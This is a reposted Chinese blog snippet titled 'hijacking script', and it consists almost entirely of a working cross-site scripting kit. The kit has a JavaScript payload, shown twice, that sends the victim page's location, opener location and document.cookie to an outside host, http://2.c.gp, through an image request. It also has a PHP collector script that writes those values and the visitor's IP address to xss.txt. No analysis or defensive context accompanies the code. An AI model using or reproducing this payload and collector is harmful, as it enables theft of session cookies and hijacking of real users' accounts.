劫持脚本

var x=new Image(); try { var myopener=''; myopener=window.opener && window.opener.location ? window.opener.location : ''; } catch(err) { } x.src='http://2.c.gp/?location='+escape(document.location)+'&toplocation='+escape(top.document.location)+'&cookie='+escape(document.cookie)+'&opener='+escape(myopener);

<?php
if($_GET){
$location = $_GET["location"];
$toplocation = $_GET["toplocation"];
   $cookie = $_GET["cookie"];
   $opener = $_GET["opener"];
   $ip = $_SERVER['REMOTE_ADDR'];
   $date = date('Y:m:d H:i:s');
   
   $fp = fopen('xss.txt','a+');
   $xss = " location:".$location."\n toplocation:".$toplocation."\n cookie:".$cookie."\n opener:".$opener."\n ip:".$ip."\n date:".$date."\n  ------------------------------------------------------------------------------------------- \n";
   fputs($fp,$xss);
   fclose($fp);
   }
if($_POST['del']=='ok'){
$fp = fopen('xss.txt','w');
fputs($fp,"\n");
fclose($fp);
}   

?>

var x=new Image(); try { var myopener=''; myopener=window.opener && window.opener.location ? window.opener.location : ''; } catch(err) { } x.src='http://2.c.gp/?location='+escape(document.location)+'&toplocation='+escape(top.document.location)+'&cookie='+escape(document.cookie)+'&opener='+escape(myopener);
X.JS

来自 “ ITPUB博客 ” ，链接：http://blog.itpub.net/31448824/viewspace-2137662/，如需转载，请注明出处，否则将追究法律责任。

转载于:http://blog.itpub.net/31448824/viewspace-2137662/